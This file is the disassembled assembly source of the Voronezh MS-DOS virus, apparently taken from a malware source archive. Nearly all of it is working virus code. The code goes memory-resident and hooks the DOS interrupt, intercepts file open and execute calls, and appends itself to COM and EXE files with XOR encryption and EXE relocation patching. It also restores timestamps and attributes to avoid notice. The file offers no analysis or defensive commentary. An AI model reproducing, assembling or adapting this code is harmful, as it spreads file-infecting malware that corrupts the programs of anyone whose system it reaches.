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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.voronezh.asm

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;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
;<3B><> <20><>
;<3B><> VORONEZH <20><>
;<3B><> <20><>
;<3B><> Created: 2-Mar-91 <20><>
;<3B><> Passes: 5 Analysis Options on: AJW <20><>
;<3B><> <20><>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
data_1e equ 1C2h
data_5e equ 3
data_6e equ 0
data_7e equ 2
data_46e equ 100h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
voronezh proc far
start:
mov ax,ds
push cs
pop ds
push ax
call sub_1
voronezh endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_1 proc near
pop bx
sub bx,108h
push bx
mov ah,0ABh
int 21h ; ??INT Non-standard interrupt
cmp ax,5555h
jne loc_1 ; Jump if not equal
jmp loc_10
loc_1:
mov ax,es
sub ax,1
mov ds,ax
mov bx,data_5e
mov ax,ds:[bx]
sub ax,0EAh
mov ds:[bx],ax
push es
pop ds
mov bx,data_7e
mov ax,ds:[bx]
sub ax,0EAh
mov ds:[bx],ax
mov es,ax
mov di,data_46e
mov si,100h
pop bx
push bx
add si,bx
push cs
pop ds
mov cx,6A4h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov dx,ax
jmp short loc_9
nop
pushf ; Push flags
sti ; Enable interrupts
cmp ah,0ABh
jne loc_2 ; Jump if not equal
mov ax,5555h
popf ; Pop flags
iret ; Interrupt return
loc_2:
cmp ax,3D00h
jne loc_5 ; Jump if not equal
push ax
push bx
push cx
push dx
push si
push di
push es
mov cx,41h
xor al,al ; Zero register
mov di,dx
push ds
pop es
repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al
sub di,4
mov si,di
push si
push cs
pop es
mov cx,4
mov di,289h
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
cmp cx,0
jne loc_3 ; Jump if not equal
pop si
jmp short loc_4
nop
loc_3:
mov di,28Ch
mov cx,4
pop si
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
cmp cx,0
loc_4:
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jz loc_6 ; Jump if zero
loc_5:
push ax
inc ah
cmp ax,4C00h
pop ax
jnz loc_8 ; Jump if not zero
loc_6:
push ax
push bx
push cx
push dx
push si
push di
push es
push ds
jmp loc_16
loc_7:
pop ds
pop es
pop di
pop si
pop dx
pop cx
pop bx
pop ax
loc_8:
popf ; Pop flags
;* jmp far ptr loc_49
db 0EAh,0B5h, 02h, 46h,0D5h
loc_9:
mov ds,dx
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_1e,bx
db 3Eh, 8Ch, 06h,0C4h, 01h, 3Eh
db 89h, 1Eh, 75h, 03h, 3Eh, 8Ch
db 06h, 77h, 03h, 8Dh, 16h, 53h
db 01h,0B8h, 21h, 25h,0CDh
db 21h
loc_10:
pop dx
mov bx,offset data_18
add bx,dx
cmp byte ptr cs:[bx],0
je loc_12 ; Jump if equal
pop ds
mov ax,ds
push cs
pop ds
mov cx,dx
pop di
pop es
push ax
sub di,5
mov si,offset data_17
add si,cx
mov dl,[si]
add es:[di+5],dl
cmp es:[di+5],dl
ja loc_11 ; Jump if above
dec si
inc byte ptr [si]
loc_11:
mov dx,di
mov si,offset data_16
add si,cx
mov cx,5
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop ds
push es
push dx
mov ax,ds
mov es,ax
xor ax,ax ; Zero register
xor bx,bx ; Zero register
xor cx,cx ; Zero register
xor dx,dx ; Zero register
xor si,si ; Zero register
xor di,di ; Zero register
retf ; Return far
loc_12:
mov ax,cs
mov ds,ax
mov es,ax
mov si,268h
mov cx,100h
mov bx,281h
mov di,[bx]
cmp di,0
jne loc_13 ; Jump if not equal
int 20h ; DOS program terminate
loc_13:
mov bx,283h
mov ax,[bx]
add di,ax
add di,100h
cld ; Clear direction
push di
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop di
mov cx,word ptr ds:[283h]
mov ax,word ptr ds:[281h]
push di
retn
add ax,100h
mov si,ax
mov di,100h
cld ; Clear direction
locloop_14:
mov al,[si]
xor al,0BBh
mov [di],al
inc si
inc di
loop locloop_14 ; Loop if cx > 0
mov ax,offset start
pop bx
push ax
retn
inc ax
push es
inc ax
push es
push si
add ax,0E2Bh
inc bp
pop ax
inc bp
db 65h, 78h, 65h, 55h, 76h, 7Fh
db 'ctsqu`Voronezh,1990 2.01'
data_16 db 90h
db 0B8h, 7Fh, 0Eh, 8Eh
data_17 db 0
data_18 db 0
data_19 dw 200h
data_20 dw 14Dh
data_21 db 0, 0, 0, 0, 0
data_22 dw 0
data_23 dw 34Dh
data_24 dw 0
data_25 dw 5D0h
data_26 db 9Ah
data_27 dw 5D0h
data_28 dw 0
data_29 dw 0
data_30 dw 1Eh
data_31 dw 100h
data_32 dw 100h
data_33 db 5
data_34 dw 20h
data_35 dw 0A956h
data_36 dw 41B9h
loc_ret_15:
iret ; Interrupt return
loc_16:
mov bx,dx
mov ax,ds:[bx+3]
cmp ax,4F43h
jne $+5 ; Jump if not equal
jmp loc_7
sub_1 endp
mov di,dx
xor ax,ax ; Zero register
mov cs:data_33,0
db 3Eh, 80h, 7Dh, 01h, 3Ah
db 75h, 09h, 3Eh, 8Ah, 05h, 24h
db 9Fh, 2Eh,0A2h,0CFh, 02h
loc_18:
mov ax,4300h
int 21h ; DOS Services ah=function 43h
; get attrb cx, filename @ds:dx
mov cs:data_34,cx
mov cs:data_35,ds
mov cs:data_36,dx
push ds
push dx
push es
push cs
pop ds
mov ax,3524h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov word ptr ds:[285h],bx
mov word ptr ds:[287h],es
mov dx,offset loc_ret_15
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop es
pop dx
pop ds
push ds
push cs
pop ds
mov bx,100h
mov cx,740h
sub cx,bx
mov bx,283h
mov [bx],cx
pop ds
mov bx,dx
push ds
push dx
push bx
push cs
pop ds
mov ah,36h ; '6'
mov dl,data_33
int 21h ; DOS Services ah=function 36h
; get drive info, drive dl,1=a:
; returns ax=clust per sector
; bx=avail clust,cx=bytes/sect
; dx=clusters per drive
cmp ax,0FFFFh
jne loc_24 ; Jump if not equal
loc_23:
pop ax
pop ax
pop ax
call sub_3
jmp loc_7
loc_24:
mul bx ; dx:ax = reg * ax
mul cx ; dx:ax = reg * ax
or dx,dx ; Zero ?
jnz loc_25 ; Jump if not zero
cmp ax,word ptr ds:[283h]
jb loc_23 ; Jump if below
loc_25:
pop bx
pop dx
pop ds
mov ax,3D00h
pushf ; Push flags
cli ; Disable interrupts
;* call far ptr sub_5
db 9Ah,0B5h, 02h, 46h,0D5h
jnc loc_26 ; Jump if carry=0
call sub_3
jmp loc_7
loc_26:
push ax
mov ax,cs
mov ds,ax
mov es,ax
pop ax
push ax
mov bx,ax
mov ax,5700h
int 21h ; DOS Services ah=function 57h
; get file date+time, bx=handle
; returns cx=time, dx=time
pop ax
push cx
push dx
push ax
mov bx,ax
mov cx,0
mov dx,0
mov ah,42h ; 'B'
mov al,2
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov bx,281h
mov [bx],ax
mov bx,283h
mov cx,[bx]
mov cx,0
mov dx,0
mov ax,4200h
pop bx
push bx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov bx,283h
mov cx,[bx]
pop bx
push bx
mov dx,offset data_37
mov ah,3Fh ; '?'
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
mov si,offset data_37
mov cx,[si]
cmp cx,0D88Ch
jne loc_27 ; Jump if not equal
pop bx
pop ax
pop ax
call sub_2
jmp loc_7
loc_27:
cmp cx,5A4Dh
je loc_28 ; Jump if equal
jmp loc_44
loc_28:
pop bx
push bx
mov ax,4200h
xor cx,cx ; Zero register
xor dx,dx ; Zero register
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov cx,32h
mov ax,3F00h
lea dx,data_37 ; Load effective addr
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
mov ax,data_39
mov cx,4
mul cx ; dx:ax = reg * ax
mov bx,data_44
add ax,bx
mov dx,ax
mov di,dx
mov ax,data_40
mov cx,10h
mul cx ; dx:ax = reg * ax
mov dx,di
add dx,4
cmp ax,dx
ja loc_29 ; Jump if above
jmp loc_43
loc_29:
mov data_19,ax
mov ax,data_39
inc ax
mov data_39,ax
mov ax,data_42
mov data_20,ax
mov ax,data_43
mov word ptr data_21,ax
xor dx,dx ; Zero register
xor cx,cx ; Zero register
mov ax,4202h
pop bx
push bx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
push ax
push dx
add ax,word ptr ds:[283h]
cmp ax,word ptr ds:[283h]
ja loc_30 ; Jump if above
inc dx
loc_30:
mov cx,200h
div cx ; ax,dx rem=dx:ax/reg
cmp dx,0
je loc_31 ; Jump if equal
inc ax
loc_31:
mov bx,data_38
mov cx,ax
sub cx,bx
cmp cx,5
jb loc_32 ; Jump if below
pop ax
pop ax
jmp loc_43
loc_32:
mov data_38,ax
pop dx
pop ax
mov bx,data_19
cmp ax,bx
jb loc_33 ; Jump if below
sub ax,bx
jmp short loc_34
nop
loc_33:
sub ax,bx
dec dx
loc_34:
mov data_24,dx
mov data_25,ax
mov ax,data_19
mov bx,data_20
mov dx,0
add ax,bx
cmp ax,bx
ja loc_35 ; Jump if above
inc dx
loc_35:
mov si,ax
mov di,dx
mov ax,word ptr data_21
mov cx,10h
mul cx ; dx:ax = reg * ax
add di,dx
add si,ax
cmp si,ax
ja loc_36 ; Jump if above
inc di
loc_36:
mov ax,si
mov dx,di
mov data_22,dx
mov data_23,ax
mov cx,dx
mov dx,ax
mov ax,4200h
mov data_18,1
mov data_17,0
pop bx
push bx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov cx,5
lea dx,data_16 ; Load effective addr
mov ax,3F00h
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
cmp data_16,9Ah
jne loc_37 ; Jump if not equal
jmp loc_43
loc_37:
call sub_4
mov bx,data_44
mov ax,data_39
dec ax
mov cx,4
mul cx ; dx:ax = reg * ax
add bx,ax
mov cx,0
mov dx,bx
mov ax,4200h
pop bx
push bx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov dx,data_20
add dx,3
mov data_20,dx
lea dx,data_20 ; Load effective addr
mov cx,4
mov ah,40h ; '@'
pop bx
push bx
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov dx,data_20
sub dx,3
mov data_20,dx
xor dx,dx ; Zero register
xor cx,cx ; Zero register
mov ax,4200h
pop bx
push bx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov cx,data_44
lea dx,data_37 ; Load effective addr
mov ah,40h ; '@'
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov data_26,9Ah
mov ax,data_25
mov data_27,ax
mov ax,data_24
mov cx,1000h
mul cx ; dx:ax = reg * ax
mov data_28,ax
cmp data_27,0F000h
jb loc_38 ; Jump if below
mov ax,data_27
mov dx,data_28
add dx,100h
sub ax,1000h
mov data_28,dx
mov data_27,ax
loc_38:
mov cx,data_22
mov dx,data_23
mov ax,4200h
pop bx
push bx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov cx,5
mov ah,40h ; '@'
lea dx,data_26 ; Load effective addr
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov cx,0
mov dx,0
mov ax,4202h
pop bx
push bx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov ah,40h ; '@'
mov cx,word ptr ds:[283h]
mov dx,100h
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
xor cx,cx ; Zero register
mov dx,data_44
mov ax,4200h
pop bx
push bx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov data_32,0
mov data_29,dx
mov data_30,ax
mov ax,data_39
mov di,0
dec ax
cmp ax,0
jne loc_39 ; Jump if not equal
jmp loc_43
loc_39:
mov cx,4
mul cx ; dx:ax = reg * ax
mov si,ax
loc_40:
mov cx,0
mov dx,0
mov ax,4201h
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov data_29,dx
mov data_30,ax
mov cx,100h
mov dx,data_6e
mov ax,3F00h
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
mov di,data_6e
mov data_31,ax
add data_32,ax
loc_41:
mov ax,[di+2]
cmp ax,word ptr data_21
jne loc_42 ; Jump if not equal
mov ax,[di]
cmp ax,data_20
jb loc_42 ; Jump if below
mov ax,data_20
add ax,5
cmp ax,[di]
jbe loc_42 ; Jump if below or =
mov ax,data_28
mov [di+2],ax
mov ax,[di]
mov bx,data_20
sub ax,bx
push ax
mov ax,2AAh
sub ax,100h
mov bx,data_27
add ax,bx
pop bx
add ax,bx
mov [di],ax
mov cx,data_29
mov dx,data_30
mov ax,4200h
pop bx
push bx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov cx,data_31
mov ah,40h ; '@'
pop bx
push bx
mov dx,data_6e
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
jmp short loc_43
nop
loc_42:
add di,4
mov ax,data_32
sub ax,100h
add ax,di
cmp ax,si
je loc_43 ; Jump if equal
cmp di,data_31
jb loc_41 ; Jump if below
jmp loc_40
loc_43:
jmp short loc_48
nop
loc_44:
mov cx,word ptr ds:[281h]
cmp cx,0EE48h
jb loc_46 ; Jump if below
loc_45:
pop bx
pop ax
pop ax
call sub_2
jmp loc_7
loc_46:
cmp cx,word ptr ds:[283h]
jb loc_45 ; Jump if below
call sub_4
mov data_18,0
mov dx,0
mov cx,0
mov ax,4202h
pop bx
push bx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov si,283h
mov cx,[si]
mov ah,40h ; '@'
push cx
mov bx,offset data_37
locloop_47:
mov al,[bx]
xor al,0BBh
mov [bx],al
inc bx
loop locloop_47 ; Loop if cx > 0
pop cx
pop bx
push bx
mov dx,offset data_37
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ax,4200h
mov dx,0
mov cx,0
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov bx,110h
mov si,283h
mov cx,[si]
mov dx,100h
mov ah,40h ; '@'
pop bx
push bx
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
loc_48:
pop bx
pop dx
pop cx
push bx
mov ax,5701h
int 21h ; DOS Services ah=function 57h
; set file date+time, bx=handle
; cx=time, dx=time
mov dx,data_36
mov ds,data_35
mov ax,4301h
mov cx,cs:data_34
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
push cs
pop ds
pop bx
call sub_2
jmp loc_7
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_2 proc near
mov ax,3E00h
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
;<3B><><EFBFBD><EFBFBD> External Entry into Subroutine <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_3:
mov bx,word ptr ds:[285h]
mov es,word ptr ds:[287h]
mov ax,2524h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
retn
sub_2 endp
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; SUBROUTINE
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
sub_4 proc near
push bp
mov bp,sp
push ds
mov ax,4301h
mov dx,data_36
mov ds,data_35
xor cx,cx ; Zero register
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
jnc $+8 ; Jump if carry=0
pop ds
pop bp
pop ax
jmp loc_43
sub_4 endp
db 36h, 8Bh, 5Eh, 04h,0B8h, 00h
db 3Eh,0CDh, 21h,0B8h, 02h, 3Dh
db 0FAh, 9Ch, 2Eh,0FFh, 1Eh,0C2h
db 01h, 1Fh, 36h, 89h, 46h, 04h
db 5Dh,0C3h
data_37 db 3
db 0BBh,0F7h, 76h
data_38 dw 0BB9Ah
data_39 dw 0BBBBh
data_40 dw 0BBBBh
db 10 dup (0BBh)
data_42 dw 0BBBBh
data_43 dw 0BBBBh
data_44 dw 0BBBBh
db 1574 dup (0BBh)
seg_a ends
end start
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